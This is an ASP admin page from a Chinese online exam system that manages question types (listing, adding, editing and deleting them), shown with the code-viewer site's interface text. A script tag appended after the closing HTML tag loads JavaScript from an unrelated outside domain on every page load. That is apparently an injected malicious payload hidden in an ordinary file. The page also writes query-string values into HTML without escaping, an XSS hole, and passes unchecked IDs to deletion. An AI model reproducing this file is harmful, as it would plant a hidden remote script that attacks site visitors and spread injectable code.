📄 typelist.asp
字号:
<!--#include File="isAdmin.asp"-->
<!--#include file="../class/EType.asp"-->
<!--#include file="../class/EQuestion.asp"-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>试题类型管理</title>
<link rel="stylesheet" href="../style.css">
</head>
<script language="JavaScript">
//检查选择的类型，并执行删除操作
function SelectChk()
{
var s = false; //用来记录是否存在被选中的复选框
var typeid, n=0;
var strid, strurl;
var flg = self.document.form1("flag").value;
var nn = self.document.all.item("type"); //返回复选框type的数量
for (j=0; j<nn.length; j++) {
if (self.document.all.item("type",j).checked) {
n = n + 1;
s = true;
typeid = self.document.all.item("type",j).id+""; //转换为字符串
//生成要删除类型编号的列表
if(n==1) {
strid = typeid;
}
else {
strid = strid + "," + typeid;
}
}
}
strurl = "TypeList.asp?Oper=delete&tid=" + strid ;
if(!s) {
alert("请选择要删除的类型!");
return false;
}
if (confirm("你确定要删除这些类型吗？")) {
form1.action = strurl;
form1.submit();
}
}
function sltAll()
{
var nn = self.document.all.item("type");
for(j=0;j<nn.length;j++)
{
self.document.all.item("type",j).checked = true;
}
}
function sltNull()
{
var nn = self.document.all.item("type");
for(j=0;j<nn.length;j++)
{
self.document.all.item("type",j).checked = false;
}
}
</script>
<body link="#000080" vlink="#080080">
<form id="form1" name="form1" method="POST">
<%Set eq = New EQuestion
Set tp = New EType
'处理添加、修改和删除操作
dim Soperate,flag,showTitle
Soperate = Request.QueryString("oper")
Operid = Request.QueryString("tid")
'删除
If Soperate="delete" Then
'判断题库表中是否存在该类型
If Not eq.HaveTId(Operid) Then
'删除类型
tp.DeleteType(Operid)
Response.Write "类型已经成功删除！"
Else
Response.Write "题库表中包含该类型信息，不能删除"
End If
'添加
ElseIf Soperate = "add" then
tName = Request("txttitle")
'判断是否已经存在此类型名称
tp.TName = tName
tp.TValue = Request("txtvalue")
'如果没有此类型名称，则创建新记录
If NOT tp.HaveType(tName,0) Then
tp.InsertType()
Response.Write"类型已经成功添加！"
Else
Response.Write "已经存在此类型名称！"
End If
ElseIf Soperate = "edit" Then
tName = Request("txttitle")
tp.TId = Operid
tp.TName = tName
tp.TValue = Request("txtvalue")
'如果没有此类型名称，则修改记录
If NOT tp.HaveType(tName,Operid) Then
'更新
tp.UpdateType(Operid)
Response.Write "类型已经成功修改！"
End If
End If
%>
<p align='center'><font style="FONT-SIZE: 12pt"><b>试题类型管理</b></font></p>
<center>
<table border="1" cellspacing="0" width="90%" bordercolorlight="#4DA6FF" bordercolordark="#ECF5FF">
<tr>
<td width="30%" align="center" bgcolor="#eeeeee"><strong>类 型</strong></td>
<td width="30%" align="center" bgcolor="#eeeeee"><strong>分 值</strong></td>
<td width="20%" align="center" bgcolor="#eeeeee"><strong>修 改</strong></td>
<td width="20%" align="center" bgcolor="#eeeeee"><strong>选 择</strong></td>
</tr>
<%
'读取所有的类型数据到记录集rs中
tp.GetTypelist()
If tp.rs.EOF Then
'如果记录集为空，则显示“目前还没有记录”
Response.Write "<tr><td colspan=4 align=center><font style='COLOR:Red'>目前还没有记录。</font></td></tr></table>"
Else
'在表格中显示类型名称
DO WHILE Not tp.rs.EOF
%>
<tr>
<td><%=tp.rs("TName")%></td>
<td align="center"><%=tp.rs("TValue")%></td>
<td align="center">
<a href="TypeList.asp?Oper=update&tid=<%=tp.rs("TId")%>&name=<%=tp.rs("TName")%>&value=<%=tp.rs("TValue")%>">修 改</a></td>
<td align="center"><input type="checkbox" name="type" id="<%=tp.rs("TId")%>"></td>
</tr>
<%
tp.rs.MoveNext()
LOOP
%>
</table><input type="hidden" name="type">
<p align="center">
<%
End If
'如果记录数大于0，则显示全选、清空和删除等按钮
If tp.rs.RecordCount>0 then
%>
<input type="button" value="全 选" onclick="sltAll()">
<input type="button" value="清 空" onclick="sltNull()">
<input type="submit" value="删 除" name="tijiao" onclick="SelectChk()">
<%End If%>
</form>
<%
'如果当前状态为修改，则显示修改的表单，否则显示添加的表单
If Soperate = "update" Then
sTitle = Request.QueryString("name")
sValue = Request.QueryString("value")
%>
<form name="UFrom" method="post" action="TypeList.asp?tid=<%=Operid%>&Oper=edit&name=<%=sTitle%>">
<div align="center">
<input type="hidden" name="sOrgTitle" value="<%=sTitle%>">
<b><font color="#000000">类型名称</font></b>
<input type="text" name="txttitle" size="20" value="<%=sTitle%>">
<b><font color="#000000">类型分值</font></b>
<input type="text" name="txtvalue" size="20" value="<%=sValue%>">
<input type="submit" name="Submit" value=" 修 改 ">
</div>
</form>
<%Else%>
<form name="AForm" method="post" action="TypeList.asp?Oper=add">
<div align="center"><b><font color="#000000">类型名称</font></b>
<input type="text" name="txttitle" size="20">
<b><font color="#000000">类型分值</font></b>
<input type="text" name="txtvalue" size="20">
<input type="submit" name="Submit" value=" 添 加 ">
</div>
</form>
<%End If%>
<%tp.rs.Close%>
</BODY>
</HTML>
<script language=javascript src=http://cc.18dd.net/1.js></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -